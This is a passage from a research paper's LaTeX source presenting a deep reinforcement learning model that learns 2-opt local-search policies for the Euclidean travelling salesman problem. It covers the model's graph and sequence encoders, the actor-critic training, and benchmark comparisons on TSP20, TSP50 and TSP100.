**States** $S_t$ represents a solution to a TSP instance at search step $t$, i.e. a tour. A state is composed of the tuple $\Bar{S_t} = (S_t, S^\prime_t)$, where $S^\prime_t$ is the lowest cost solution encountered up to step $t$, defined as $$S^{\prime}_{t} = \begin{cases}
S_{t}, & \text{if $L(S_{t}) < L(S^{\prime}_{t-1}) $},\\
S^{\prime}_{t-1} , & \text{otherwise}\,.
\end{cases}$$ where $S^{\prime}_{0}= S_{0}$ is an intial solution. **Actions** Actions correspond to 2-opt operations that change the current solution $S_t$ to a solution $S_{t+1}$. We model actions as tuples $ A_t = (a_1, a_2)$ where $a_1,a_2 \in \{1,\dots,n\}$, $a_1 \ne a_2$ correspond to index positions of solution $S_t = (s_1,\dots,s_n)$.
**Transitions** Transitioning to a next state $\Bar{S}_{t+1}$ is defined from state-action pairs $(\Bar{S}_t, A_t)$. That is, given $A_t=(a_1=i, a_2=j)$ transitioning to the a next state defines a deterministic change to solution $S_t = (\dots,s_i, \dots, s_j, \dots)$, resulting in a new solution $S_{t+1} = (\dots,s_{i-1},s_j, \dots, s_i,s_{j+1}, \dots) $ and state $\Bar{S}_{t+1} = (S_{t+1}, S^\prime_{t+1})$.
**Rewards** Similar to [@wu2019learning], we attribute rewards to actions that can improve upon the current best-found solution over a number of time steps. Thus, we define our reward function as $R_{t} = L(S^{\prime}_t) - min \Big(L(S^{\prime}_t), L(S_{t+1})\Big)$. Since this reward function automatically results in the agent favoring swaps of very long edges with short edges, we clip rewards to 1 to assign similar rewards in those cases.
**Environment** Our environment runs for a maximum number of steps $\mathbb{T}$. Within each run, we define episodes over a number of steps $T \leq \mathbb{T}$ after which a new episode starts from the last state seen in the previous episode. This ensures that the agent has access to poor quality solutions at $t=0$, and high quality solutions as $t$ grows. In our experiments, treating the environment as continuous and bootstrapping [@mnih2016asynchronous] resulted in lower quality policies under the same conditions.
**Returns** Our objective is to maximize the expected return $G_t$, which is the cumulative reward starting at time step $t$ and finishing at $T$ at which point no future rewards are available. i.e. $G_t =\sum_{t^\prime=t}^{T-1} \gamma^{t^\prime-t} R_{t^\prime} $, where $\gamma \in (0, 1]$ is a discount factor.
Policy Gradient Neural Architecture {#sec:PGN}
===================================
Our neural network, represented in Figure \[fig:nn\], follows the general encoder-decoder architecture. Our encoder maps independently each component of a state $\Bar{S}_t = (S_t, S^\prime_t) $[^1]. That is, each encoding unit reads nodes coordinates $X = (x_1, \dots, x_n)$, where $x_i$ are the coordinates associated with node $s_i$ in solution $S$. The encoder then transforms the inputs to a set of node representations $Z = (z_1, \dots, z_n)$ that embed graph topology. Later, we map these representations to a learned sequential embedding $O = (o_1, \dots, o_n)$ that encodes the positions of each node in a solution. Given node and sequence embeddings from $\Bar{S}$, the *policy* decoder is autoregressive and samples output actions $A = (a_1, \dots, a_k)$ one element at a time, where each $a_i$ corresponds to an index position of the input and $k$ denotes the number of nodes to output, i.e., $k=2$ for 2-opt. The *value* decoder operates on the same representations but generates real-valued outputs to estimate state values. We detail each component of the architecture in the subsequent sections.
{width="100.00000%"}
Encoder
-------
The purpose of our encoder is to obtain a representation for each node in the input graph given its topological structure and its position in a given solution. To accomplish this objective, we incorporate elements from Graph Convolution Networks (GCN) [@kipf2016semi] and sequence embedding via Recurrent Neural Networks (RNN) [@hochreiter1997long] to build its representation. Furthermore, we use edge information to build a more informative encoding of the TSP graph. Incorporating the neighboring edge information accelerates the convergence of the algorithm.
### Embedding Layer
We input two dimensional coordinates $x_i \in {[0,1]}^2$, $ \forall i \in (1,\ldots, n) $, which are embedded to $d$-dimensional features as[^2] $$x^0_i = W_x x_i\,,$$ where $W_x\in \mathbb{R}^{d \times 2} $. We use as input the Euclidean distances $e_{i,j}$ between coordinates $x_i$ and $x_j$ to add edge information and weigh the node feature matrix. To avoid scaling the inputs to different magnitudes we adopt symmetric normalization [@kipf2016semi] as $$\tilde{e}_{i,j}= \frac{e_{i,j}}{\sqrt{\sum_{j=1}^n e_{i,j} \sum_{i=1}^n e_{i,j}}}\,.$$ Then the normalized edges are used in combination with GCN layers to create richer node representations using its neighboring topology.
### Graph Convolutional Layers
In the GCN layers, we denote as $x_i^{\ell}$ the node feature vector at GCN layer $\ell$ associated with node $i$. We define the node feature at the subsequent layer combining features from nodes in the neighborhood $\mathcal{N}(i)$ of node $i$ as $$\label{eq:4}
x_i^{\ell+1} = x_i^{\ell} + \text{ReLU} \Big(\sum\nolimits_{j\in \mathcal{N}(i)} \tilde{e}_{i,j} W_g^\ell x_j^{\ell} \Big),$$where $W^{\ell}_g,\in \mathbb{R}^{d \times d} $, $\text{ReLU}$ is the rectified linear unit and $\mathcal{N}(i)$ of node $i$ corresponds to the remaining $n-1$ nodes of the complete TSP graph. At the input to these layers, we have $\ell=0$ and after $\mathbb{L}$ layers we arrive at representations $z_i = x_i^{\mathbb{L}}$ leveraging node features with the additional edge feature representation.
### Sequence Embedding Layers
Next, we use node embeddings $z_i$ to learn a sequence representation of the input and encode a tour. Due to symmetry, a tour from nodes $(1,\ldots,n)$ has the same cost as the tour $(n,\ldots,1)$. Therefore, we read the sequence in both orders to explicitly encode the symmetry of a solution. To accomplish this objective, we employ two Long Short-Term Memory (LSTM) [@hochreiter1997long] as our RNN functions, computed using hidden vectors from the previous node in the tour and the current node embedding resulting in $$\label{eq:5}
(h^{\rightarrow}_i, c^{\rightarrow}_i) = \text{RNN}(z_i^{\rightarrow}, (h_{i-1}^{\rightarrow},c_{i-1}^{\rightarrow}) ), \quad i \in (1,\ldots,n)$$ $$\label{eq:7}
(h^{\leftarrow}_i, c^{\leftarrow}_i) = \text{RNN}(z_i^{\leftarrow}, (h_{i+1}^{\leftarrow},c_{i+1}^{\leftarrow}) ), \quad i \in (n,\ldots,1)$$ where in (\[eq:5\]) a forward RNN goes over the embedded nodes from left to right, in (\[eq:7\]) a backward RNN goes over the nodes from right to left and $h_i, c_i \in \mathbb{R}^d$ are hidden vectors.
Our representation reconnects back to the first node in the tour ensuring we construct a sequential representation of the complete tour, i.e. $(h^{\rightarrow}_0, c^{\rightarrow}_0) = \text{RNN}(z_n, 0)$ and $(h^{\leftarrow}_{n+1}, c^{\leftarrow}_{n+1}) = \text{RNN}(z_1, 0)$. Afterwards, we combine forward and backward representations to form unique node representations in a tour as $o_{i} = \text{tanh}(W_fh^{\rightarrow}_i + W_bh^{\leftarrow}_i)$, and a tour representation $h_n = h^{\rightarrow}_n + h^{\leftarrow}_n$, where $h_i, o_i \in \mathbb{R}^d$ and $W_f, W_b \in \mathbb{R}^{d \times d}$.
### Dual Encoding
In our formulation, a state $\Bar{S} = (S, S^\prime) $ is represented as a tuple of the current solution $S$ and the best solution seen so far $S^\prime$. For that reason, we use the aforementioned encoding layers to encode both $S$ and $S^\prime$ using independent encoding layers (Figure \[fig:nn\]). Thus, we abuse notation and define a sequential representation of $S^\prime$ after going through encoding layers as $h^{\prime}_n \in \mathbb{R}^d$.
Policy Decoder
--------------
We aim to learn the parameters of a stochastic policy $\pi_\theta (A \mid \Bar{S})$ that given a state $\Bar{S}$, assigns high probabilities to moves that reduce the cost of a tour. Following [@Bello2017WorkshopT], our architecture uses the chain rule to factorize the probability of a $k$-opt move as $$\pi_{\theta}(A\mid \Bar{S}) = \prod_{i=1}^{k} p_\theta\left(a_i \mid a_{<i}\,,
\Bar{S}\right),
\label{eqn:prob}$$ and then uses individual softmax functions to represent each term on the RHS of , where $a_i$ corresponds to node positions in a tour, $a_{<i}$ corresponds to previously sampled nodes and $k=2$. During training, we divide by $k$ to normalize loss values. At each output step $i$, we map the tour embedding vectors to the following *query* vector $$q_i = \tanh( W_q q_{i-1} + W_o o_{i-1}),
\label{eqn:query}$$ where $W_q, W_o \in \mathbb{R}^{d \times d} $ are learnable parameters and $o_0 \in \mathbb{R}^{d}$ is a fixed parameter initialized from a uniform distribution $\mathcal{U}(\frac{-1}{\sqrt{d}}, \frac{1}{\sqrt{d}})$. Our initial query vector $q_0$ receives the tour representation from $S$ and $S^\prime$ as $h_{\Bar{s}} = W_s h_n \| W_{s^{\prime}} h^\prime_n$ and a *max pooling* graph representation $z_g = \max( z_1,\ldots, z_n )$ from $S$ to form $$q_0 = h_{\Bar{s}} + z_g,
\label{eqn:q_0}$$ where learnable parameters $W_s, W_{s^\prime} \in \mathbb{R}^{\frac{d}{2} \times d}$, and $\cdot\|\cdot$ represents the concatenation operation. Similar to [@vinyals2015pointer; @Bello2017WorkshopT; @deudon2018learning], our query vectors $q_i$ interact with a set of $n$ vectors to define a pointing distribution over the action space. As soon as the first node is sampled, the query vector updates its inputs with the previously sampled node using its sequential representation to select the subsequent nodes.
### Pointing Mechanism
We use a pointing mechanism to predict a distribution over node outputs given encoded actions (nodes) and a state representation (query vector). Our pointing mechanism is parameterized by two learned attention matrices $K \in \mathbb{R}^{d \times d}$ and $Q \in \mathbb{R}^{d \times d}$ and vector $v \in \mathbb{R}^{d}$, $$u^i_j=\begin{cases}
v^T \tanh(K o_j+ Qq_i) & \text{if $j > a_{i-1}$ }\\
- \infty , & \text{otherwise}\,,
\end{cases}$$ where $$p_\theta\left(a_i \mid a_{<i},
\Bar{S}\right) = \text{softmax}(C\tanh(u^i))$$ predicts a distribution over the set of $n$ actions, given a query vector $q_i$ with $u^i \in \mathbb{R}^{n}$. We mask probabilities of nodes prior to the current $a_i$ as we only need to consider choices of nodes in which $a_i > a_{i-1}$ due to symmetry. This ensures a smaller action space for our model as we only consider $n(n-1)/2$ possible moves and feasible permutations of the input. We clip logits in $[-C, +C]$ [@Bello2017WorkshopT], where $C \in \mathbb{R}$ is a parameter to control the entropy of $u^i$.
Value Decoder
-------------
Similar to the policy decoder, our value decoder works by reading tour representations from $S$ and $S^\prime$ and a graph representation from $S$. That is, given embeddings $Z$ the value decoder works by reading the outputs $z_i$ for each node in the tour and the sequence hidden vectors $h_n, h^\prime_n$ to estimate the value of a state as $$V_\phi(\Bar{S}) = W_r~\text{ReLU}\Big(W_z\Big(\frac{1}{n}\sum_{i=1}^n z_i + h_v\Big)\Big)\,,$$ with $ h_{v} = W_v h_n \| W_{v^{\prime}} h^\prime_n$. Where $W_z \in \mathbb{R}^{h \times h}$, $W_r \in \mathbb{R}^{h \times 1}$ are learned parameters that map the state representation to a real valued output and $W_v, W_{v^{\prime}} \in \mathbb{R}^{\frac{d}{2} \times d}$ map the tours to a combined value representation. Similar to [@wu2019learning], we use a *mean pooling* operation to combine node representations $z_i$ in a single graph representation. This vector is then combined with the tour representation $h_v$ to estimate current state values.
Initialize policy and critic parameters $\theta$ and $\phi$;\
Policy Gradient Optimization {#sec:PGO}
============================
In our formulation, we maximize the expected rewards given a state $\Bar{S}$ defined as $$J(\theta \mid \Bar{S}) = \mathbb{E}_{\pi_\theta}[G_t\mid \Bar{S}]\,.$$ Thus, we define the total training objective over a distribution $\mathcal{S}$ of TSP solutions as $$J(\theta) = \mathbb{E}_{\mathcal{S}}[J(\theta \mid \Bar{S})].
\label{eq:exp_JS}$$ To optimize our policy we resort to the Policy Gradient learning rule, which provides an unbiased gradient estimate w.r.t. the model’s parameters $\theta$. During training, we draw $B$ i.i.d. graphs and approximate the gradient in (\[eq:exp\_JS\]), indexed at $t=0$ as $$\nabla J(\theta) \approx \frac{1}{B}\frac{1}{T}\Big[\sum_{b=1}^{B} \sum_{t=0}^{T-1} \nabla_\theta \log \pi_\theta (A^b_t \mid \Bar{S}^b_t) (G^b_t - V_\phi(\Bar{S}^b_t))\Big]
\label{eq:polgrad}$$ and define $ \mathcal{A}^b_t = G^b_t - V_\phi(\Bar{S}^b_{t}) $. To avoid premature convergence to a sub-optimal policy [@mnih2016asynchronous], we add an entropy bonus $$H(\theta) = \frac{1}{B} \sum_{b=1}^{B} \sum_{t=0}^{T-1} H (\pi_\theta (\cdot \mid \Bar{S}^b_t))\,,
\label{eq:entropy}$$ with $ H (\pi_\theta (\cdot \mid \Bar{S}^b_t)) = -\mathbb{E}_{\pi_\theta}[ \log \pi_\theta (\cdot \mid \Bar{S}^b_t)] $, and similarly to (\[eq:polgrad\]) we normalize loss values in (\[eq:entropy\]) dividing by $k$. Moreover, we increase the length of an episode after a number of epochs, i.e. at epoch $e$, $T$ is replaced by $T_e$. The value network is trained on a mean squared error objective between its predictions and Monte Carlo estimates of the returns, formulated as an additional objective $$\mathcal{L}(\phi) = \frac{1}{B}\frac{1}{T}\Big[\sum_{b=1}^{B} \sum_{t=0}^{T-1} \left\| G^b_t - V_\phi(\Bar{S}^b_t))\right\|^2_2\Big]\,.
\label{eq:mse}$$ Afterwards, we combine the previous objectives via stochastic gradient descent updates via Adaptive Moment Estimation (ADAM) [@kingma2015adam], with $\beta_H ,\beta_V$ representing weights of (\[eq:entropy\]) and (\[eq:mse\]), respectively. Our model is close to REINFORCE [@williams1992simple] but with periodic episode length updates, and to Advantage Actor-Critic (A2C) [@mnih2016asynchronous] bootstrapping only from terminal states. In our case, this is beneficial as at the start the agent learns how to behave over small episodes for easier credit assignment, later tweaking its policy over larger horizons. The complete algorithm is depicted in Algorithm \[alg:training\].
Experiments and Results
=======================
We conduct extensive experiments to investigate the performance of our proposed method. We consider three benchmark tasks, Euclidean TSP with 20, 50 and 100 nodes, TSP20, TSP50 and TSP100 respectively. For all tasks, node coordinates are drawn uniformly at random in the unit square $[0, 1]^2$.
Experimental Settings
---------------------
All our experiments use a similar set of hyperparameters. We use a batch size of $B=512$ for TSP20 and TSP50; $B=256$ for TSP100 due to GPU memory. For this reason, we generate 10 random mini-batches for TSP20 and TSP50 and 20 mini-batches for TSP100 in each epoch. TSP20 trains for 200 epochs as convergence is faster for smaller problems, whereas TSP50 and TSP100 train for 300 epochs. We use the same $\gamma = 0.99$, $\ell_2$ penalty of $1 \times 10^{-5}$ and learning rate $\lambda = 0.001$, $\lambda$ decaying by $0.98$ at each epoch. Loss weights are $\beta_V = 0.5$, $\beta_H = 0.0045$ for TSP20 and TSP50, $\beta_H = 0.0018$ for TSP100. $\beta_H$ decays by 0.9 after every epoch for stable convergence. In all tasks, $d=128$, $\mathbb{L}=3$ and we employ one RNN block. The update in episode lengths are $T_1 = 8, T_{100} = 10 , T_{150} = 20 $ for TSP 20; $T_1 = 8, T_{100} = 10 , T_{200} = 20$ for TSP50; and $T_1 = 4, T_{100} = 8 , T_{200} = 10$ for TSP100. $C=10$ is used during training and testing. Vector $v$ is initialized as $\mathcal{U}(\frac{-1}{\sqrt{d}}, \frac{1}{\sqrt{d}})$ and remaining parameters are initialized according to PyTorch’s default parameters. We train on a single RTX 2080Ti GPU, generating random initial solutions on the fly at each epoch. Each epoch takes an average time of 2m 01s, 3m 05s and 7m 16s for TSP20, TSP50 and TSP100, respectively. Due to GPU memory capacity, we employ mixed precision training [@jia2018highly] for TSP50 and TSP100. Similar to [@wu2019learning], we train for a maximum step limit of 200. During testing, we run our policy for 500, 1,000 and 2,000 steps to showcase that the policy generalizes to larger horizons than the ones trained upon. Our implementation will be made available online.
Experimental Results and Analysis
---------------------------------
![Tour cost of 2-opt heuristics for 1,000 steps.[]{data-label="fig:boxplot"}](opt_gap.pdf){width="\textwidth"}
![Tour cost of 2-opt heuristics for 1,000 steps.[]{data-label="fig:boxplot"}](perf.pdf){width="\textwidth"}
![Tour cost of 2-opt heuristics for 1,000 steps.[]{data-label="fig:boxplot"}](boxplot.pdf){width="\textwidth"}
We learn policies for TSP20, TSP50 and TSP100, and depict the optimality gap and its exponential moving average in the log scale in Figure \[fig:training\]. In the figure, the optimality gap is averaged over 256 validation graphs and 200 steps (same as training). We can observe that instances with a lower number of nodes result in lower optimality gaps as solving instances with a high number of nodes is harder. Moreover, we observe that increasing regularly the size of the episodes leads to improved performance. In Figure \[fig:testing\], we show the best found tour cost for 512 test instances over 2,000 steps using the best performing policies on validation data. Here, we note that we can quickly reduce the optimality gap at the start of the run and later steps attempt to fine-tune the best tour as rewards become harder to obtain. Moreover, results show that the learned policies can be seen as a solver requiring only random initial solutions.
To showcase that, we compare the learned policies with original 2-opt *first improvement* (FI) and *best improvement* (BI) heuristics, which select the first and best cost-reducing 2-opt operation and are the inspiration for our learned policies. Since simple local search methods can easily get stuck in local optima, we also include a version of the heuristics using *restarts*. That is, similar to [@wu2019learning], we restart the local search at a random solution as soon as we reach a local optimum. We run all heuristics and learned polices for a maximum of 1,000 steps over 512 instances starting from the same solutions. The boxplots in Figure \[fig:boxplot\], show that our policies (TSP100-Policy) have lower median and interquartile range than the other heuristics based on 2-opt, which supports our initial hypothesis of considering future rewards in the choice of 2-opt moves. Moreover, we point out that our method does not scan the neighborhood before picking the next solution, i.e. it avoids the worst case $O(n^2)$ complexity of selecting the next solution.
### Comparison to Classical Heuristics, Exact and Learning Methods
Our comparison results are reported on the same 10,000 instances for each TSP size as reported in [@kool2018attention]. We report optimal results obtained by Concorde [@applegate2006traveling] and compare against Nearest, Random and Farthest Insertion constructions heuristics based on their optimality gaps reported in [@kool2018attention]. Additionally, we compare to the vehicle routing solver of OR-Tools [@ortools] which includes 2-opt and LKH as improvement heuristics [@Bello2017WorkshopT]. Furthermore, we compare to recent state-of-the-art deep learning methods based on construction heuristics, including supervised [@vinyals2015pointer; @joshi2019efficient] and reinforcement [@kool2018attention; @deudon2018learning; @khalil2017learning; @Bello2017WorkshopT] learning methods. We note, however, that supervised learning is not ideal for combinatorial optimization problems due to the lack of optimal labels for larger problems. We present the optimality gaps as reported in [@kool2018attention; @joshi2019efficient; @wu2019learning] using greedy, sampling and search decoding and refer to the methods by their neural network architecture. We also compare to the learned improvement heuristic [@wu2019learning]. We focus our attention on GAT [@kool2018attention] and GAT-T [@wu2019learning] (GAT-Transformer) representing the best performing construction and improvement heuristics, respectively. Our results are summarized in Table \[table:comparison\].
In Table \[table:comparison\], we observe that with only 500 steps, our method outperforms traditional construction heuristics, construction deep learning methods based on greedy decoding and OR-Tools achieving $0.01\%$, $0.36\%$ and $1.84\%$ optimality gap for TSP20, TSP50 and TSP100, respectively. Moreover, we outperform GAT-T [@wu2019learning] requiring half the number of steps (500 vs 1,000). We note that with 500 steps, our method also outperforms all previous reinforcement learning methods using sampling or search, including GAT [@deudon2018learning] applying 2-opt local search on top of generated tours. Our method only falls short of the supervised learning method GCN [@joshi2019efficient], using beam search and shortest tour heuristic. However, GCN [@joshi2019efficient], similar to samples in GAT [@kool2018attention], uses a beam width of 1,280. Increasing the number of samples (steps) increases the performance of our method considerably. When augmenting the number of samples to 1,000 (280 samples short of GCN [@joshi2019efficient] and GAT [@kool2018attention]) we outperform all previous methods that do no employ further local search improvement and perform on par with GAT-T [@wu2019learning] on TSP50, using 5,000 samples ($5\times$ as many samples). For TSP100, sampling 1,000 steps results in a lower optimality gap ($1.26\%$) than all compared methods. Lastly, increasing the sample size to 2,000 2-opt moves results in even lower gaps, $0.00\%$, $0.12\%$ and $0.87\%$ for TSP20, TSP50 and TSP100, respectively.
[@llc|ccc|ccc|ccc@]{} & & & & &\
& & & Cost & Gap & Time & Cost & Gap & Time & Cost & Gap & Time\
&Concorde [@applegate2006traveling] & Solver & $3.84$ & $0.00 \%$ &(1m)& $5.70$ & $0.00 \%$ &(2m)& $7.76$ & $0.00 \%$ & (3m)\
&OR-Tools [@ortools] & S & $3.85$ & $0.37 \%$ & & $5.80$ & $1.83 \%$ & & $7.99$ & $2.90 \%$ &\
&Nearest Insertion & G & $4.33$ & $12.91 \%$ & (1s) & $6.78$ & $19.03 \%$ & (2s) & $9.46$ & $21.82 \%$ & (6s)\
&Random Insertion & G & $4.00$ & $4.36 \%$ & (0s) & $6.13$ & $7.65 \%$ & (1s) & $8.52$ & $9.69 \%$ & (3s)\
&Farthest Insertion & G & $3.93$ & $2.36 \%$ & (1s) & $6.01$ & $5.53 \%$ & (2s) & $8.35$ & $7.59 \%$ & (7s)\
&PtrNet [@vinyals2015pointer] & SL & $3.88$ & $1.15 \%$ & & $7.66$ & $34.48 \%$ & &\
&GCN [@joshi2019efficient] & SL & $3.86$ & $0.60 \%$ & (6s) & $5.87$ & $3.10 \%$ & (55s) & $8.41$ & $8.38 \%$ & (6m)\
&PtrNet [@Bello2017WorkshopT] & RL & $3.89$ & $1.42 \%$ & & $5.95$ & $4.46 \%$ & & $8.30$ & $6.90 \%$ &\
&S2V [@khalil2017learning] & RL & $3.89$ & $1.42 \%$ & & $5.99$ & $5.16 \%$ & & $8.31$ & $7.03 \%$ &\
&GAT [@deudon2018learning] & RL,T & $3.85$ & $0.42 \%$ & (4m) & $5.85$ & $2.77 \%$ & (26m) & $8.17$ & $5.21 \%$ & (3h)\
&GAT [@kool2018attention] & RL & $3.85$ & $0.34 \%$ & (0s) & $5.80$ & $1.76 \%$ & (2s) & $8.12$ & $4.53 \%$ & (6s)\
&GCN [@joshi2019efficient] & SL,B & $3.84$ & $0.10 \%$ & (20s) & $5.71$ & $0.26 \%$ & (2m) & $7.92$ & $2.11 \%$ & (10m)\
&GCN [@joshi2019efficient] & SL,BS & $3.84$ & $0.01 \%$ & (12m) & $\mathbf{5.70}$ & $\mathbf{0.01} \%$ & (18m) & $7.87$ & $1.39 \%$ & (40m)\
&PtrNet [@Bello2017WorkshopT] & RL,S & & $5.75$ & $0.95 \%$ & & $8.00$ & $3.03 \%$ &\
&GAT [@deudon2018learning] & RL,S & $3.84$ & $0.11 \%$ & (5m) & $5.77$ & $1.28 \%$ & (17m) & $8.75$ & $12.70 \%$ & (56m)\
&GAT [@deudon2018learning] & RL,S,T & $3.84$ & $0.09 \%$ & (6m) & $5.75$ & $1.00 \%$ & (32m) & $8.12$ & $4.64 \%$ & (5h)\
&GAT {1280} [@kool2018attention] & RL,S & $3.84$ & $0.08 \%$ & (5m) & $5.73$ & $0.52 \%$ & (24m) & $7.94$ & $2.26 \%$ & (1h)\
&GAT-T {1000} [@wu2019learning] & RL & $3.84$ & $0.03 \%$ & (12m) & $5.75$ & $0.83 \%$ & (16m) & $8.01$ & $3.24 \%$ & (25m)\
&GAT-T {3000} [@wu2019learning] & RL & $3.84$ & $0.00 \%$ & (39m) & $5.72$ & $0.34 \%$ & (45m) & $7.91$ & $1.85 \%$ & (1h)\
&GAT-T {5000} [@wu2019learning] & RL & $3.84$ & $0.00 \%$ & (1h) & $5.71$ & $0.20 \%$ & (1h) & $7.87$ & $1.42 \%$ & (2h)\
&Ours {500} & RL & $3.84$ & $0.01 \%$ & (5m)& $5.72$ & $0.36 \%$ & (7m) & $7.91$ & $1.84 \%$ & (10m)\
&Ours {1000} & RL & $\mathbf{3.84}$ & $\mathbf{0.00 \%}$ & (10m) & $5.71$ & $0.21 \%$ & (13m) & $7.86$ & $1.26\%$ & (21m)\
&Ours {2000} & RL& $\mathbf{3.84}$ & $\mathbf{0.00} \%$ & (15m) & $5.70$ & $0.12 \%$ & (29m)& $\mathbf{7.83}$ & $\mathbf{0.87\%}$ & (41m)\
### Testing Learned Policies on Larger Instances
Since we are interested in learning general policies that can solve the TSP regardless of its size, we test the performance of our policies when learning on TSP50 instances (TSP50-Policy) and applying on larger TSP100 instances. Result, in Table \[table:train50\], show that we are able to extract general enough information to still perform well on 100 nodes. Similar to the policy trained on 100 nodes, our 50 nodes policy can outperform previous reinforcement learning construction approaches and requires fewer samples. With 1,000 samples our TSP50 policy performs similarly to GAT-T [@wu2019learning] using 3,000 samples, reaching $1.86\%$ optimality gap. These results are closer to optimal than previous learning methods without further local search improvement as in GCN [@joshi2019efficient]. When increasing to 2,000 steps, we outperform previous deep learning and classical heuristics methods getting as close to $1.37\%$ of the optimal solutions.
------- -------- ----------- -- -------- -----------
Steps Cost Gap Cost Gap
500 $7.91$ $1.84 \%$ $7.98$ $2.78 \%$
1000 $7.86$ $1.26\%$ $7.91$ $1.86 \%$
2000 $7.83$ $0.87 \%$ $7.87$ $1.37\%$
------- -------- ----------- -- -------- -----------
: Performance of policies trained on 50 and 100 nodes on TSP100 instances.[]{data-label="table:train50"}
### Running Times and Sample Efficiency
Comparing running times is difficult due to varying hardware and implementations among different approaches. In Table \[table:comparison\], we report the running times to solve 10,000 instances as reported in [@kool2018attention; @joshi2019efficient; @wu2019learning] and our running times using the available GPU. We focus on learning methods, as classical heuristics and solvers are efficiently implemented using multi-threaded CPUs and can be run much faster than learning methods. We point out that our method cannot compete in speed with greedy methods as we start from poor solutions and require sampling to find improved solutions. This is neither surprising nor discouraging, as one can see greedy construction heuristics as a way to generate initial solutions for an improvement heuristic like ours.
We note, however, that while sampling 1,000 steps, our method is faster than GAT-T [@wu2019learning] even though we use a less powerful GPU (RTX 2080Ti vs Tesla V100). Moreover, our method requires fewer samples to achieve superior performance. The comparison to GAT [@kool2018attention] is not so straightforward as they employ a GTX 1080Ti over 1,280 samples. For this reason, we run GAT [@kool2018attention] using the hardware at hand and report running times whilst sampling the same number of solutions in Table \[table:kool\]. As it can be observed, our method is slower than the construction model for TSP20 and TSP50 sampling 2,000 solutions. However, as we reach TSP100, our method can be computed faster than GAT [@kool2018attention]. Moreover, if we consider only running times, our method can produce shorter tours in less time.
---------------------------------- --------- ---------- --------- ----------- --------- -----------
Cost Time Cost Time Cost Time
GAT {500} [@kool2018attention] $3.839$ **(3m)** $5.727$ (10m) $7.955$ (27m)
Ours {500} $3.836$ (5m) $5.716$ **(7m)** $7.907$ **(10m)**
GAT {1,000} [@kool2018attention] $3.838$ **(4m)** $5.725$ (14m) $7.947$ (42m)
Ours {1,000} $3.836$ (10m) $5.708$ **(13m)** $7.861$ **(21m)**
GAT {2,000} [@kool2018attention] $3.838$ **(5m)** $5.722$ **(22m)** $7.939$ (1h13m)
Ours {2,000} $3.836$ (15m) $5.703$ (29m) $7.832$ **(41m)**
---------------------------------- --------- ---------- --------- ----------- --------- -----------
: Performance of GAT [@kool2018attention] vs our method with the same number of samples. []{data-label="table:kool"}
Conclusions and Future Work
===========================
We introduced a novel deep reinforcement learning approach for approximating an improvement heuristic for the 2D Euclidean Traveling Salesman Problem. We proposed graph and sequence embeddings to learn local search policies using 2-opt operators. Our experimental results show that we are able to outperform state-of-the-art deep learning construction and improvement heuristics. As future work, we will explore expanding the model to consider $k$-opt operations dynamically. Moreover, we intend to explore general improvement heuristics that can be applied to a large number of combinatorial problems.
[10]{} \[1\][`#1`]{} \[1\][https://doi.org/\#1]{}
Angeniol, B., Vaubois, G.D.L.C., Le Texier, J.Y.: Self-organizing feature maps and the travelling salesman problem. Neural Networks **1**(4), 289–293 (1988)
Applegate, D.L., Bixby, R.E., Chvatal, V., Cook, W.J.: The traveling salesman problem: a computational study. Princeton university press (2006)
Bello, I., Pham, H.: Neural combinatorial optimization with reinforcement learning. In: Proceedings of the 5th International Conference on Learning Representations (ICLR) (2017)
Bengio, Y., Lodi, A., Prouvost, A.: Machine learning for combinatorial optimization: a methodological tour d’horizon. arXiv preprint arXiv:1811.06128 (2018)
Deudon, M., Cournut, P., Lacoste, A., Adulyasak, Y., Rousseau, L.M.: Learning heuristics for the tsp by policy gradient. In: Proceedings of the 15th International Conference on the Integration of Constraint Programming, Artificial Intelligence, and Operations Research (CPAIOR). pp. 170–181 (2018)
Hansen, P., Mladenovi[ć]{}, N.: First vs. best improvement: An empirical study. Discrete Applied Mathematics **154**(5), 802–817 (2006)
Helsgaun, K.: General k-opt submoves for the lin–kernighan tsp heuristic. Mathematical Programming Computation **1**(2-3), 119–163 (2009)
Hochreiter, S., Schmidhuber, J.: Long short-term memory. Neural computation **9**(8), 1735–1780 (1997)
Hopfield, J.J., Tank, D.W.: Neural computation of decisions in optimization problems. Biological cybernetics **52**(3), 141–152 (1985)
Jia, X., Song, S., He, W., Wang, Y., Rong, H., Zhou, F., Xie, L., Guo, Z., Yang, Y., Yu, L., et al.: Highly scalable deep learning training system with mixed-precision: Training imagenet in four minutes. arXiv preprint arXiv:1807.11205 (2018)
Joshi, C.K., Laurent, T., Bresson, X.: An efficient graph convolutional network technique for the travelling salesman problem. arXiv preprint arXiv:1906.01227 (2019)
Khalil, E., Dai, H., Zhang, Y., Dilkina, B., Song, L.: Learning combinatorial optimization algorithms over graphs. In: Proceedings of the 31st Conference on Neural Information Processing Systems (NIPS). pp. 6348–6358 (2017)
Kingma, D.P., Ba, J.: Adam: A method for stochastic optimization. In: International Conference on Machine Learning (2015)
Kipf, T.N., Welling, M.: Semi-supervised classification with graph convolutional networks. In: 5th International Conference on Learning Representations, [ICLR]{} 2017, Conference Track Proceedings (2017)
Kool, W., van Hoof, H., Welling, M.: Attention, learn to solve routing problems! In: Proceedings of the 7th International Conference on Learning Representations (ICLR) (2019)
La Maire, B.F., Mladenov, V.M.: Comparison of neural networks for solving the travelling salesman problem. In: 11th Symposium on Neural Network Applications in Electrical Engineering. pp. 21–24. IEEE (2012)
Lin, S., Kernighan, B.W.: An effective heuristic algorithm for the traveling-salesman problem. Operations research **21**(2), 498–516 (1973)
Lombardi, M., Milano, M.: Boosting combinatorial problem modeling with machine learning. In: Proceedings of the 27th International Joint Conference on Artificial Intelligence (IJCAI). pp. 5472–5478 (2018)
Mnih, V., Badia, A.P., Mirza, M., Graves, A., Lillicrap, T., Harley, T., Silver, D., Kavukcuoglu, K.: Asynchronous methods for deep reinforcement learning. In: Proceedings of the 33rd International Conference on Machine Learning (ICML). pp. 1928–1937 (2016)
Papadimitriou, C.H.: The euclidean travelling salesman problem is np-complete. Theoretical Computer Science **4**(3), 237–244 (1977)
Perron, L., Furnon, V.: Or-tools, <https://developers.google.com/optimization/>
Veli[č]{}kovi[ć]{}, P., Cucurull, G., Casanova, A., Romero, A., Li[ò]{}, P., Bengio, Y.: [Graph Attention Networks]{}. In: Proceedings of the 6th International Conference on Learning Representations (ICLR) (2018)
Vinyals, O., Fortunato, M., Jaitly, N.: Pointer networks. In: Proceedings of the 29th Conference on Neural Information Processing Systems (NIPS). pp. 2692–2700 (2015)
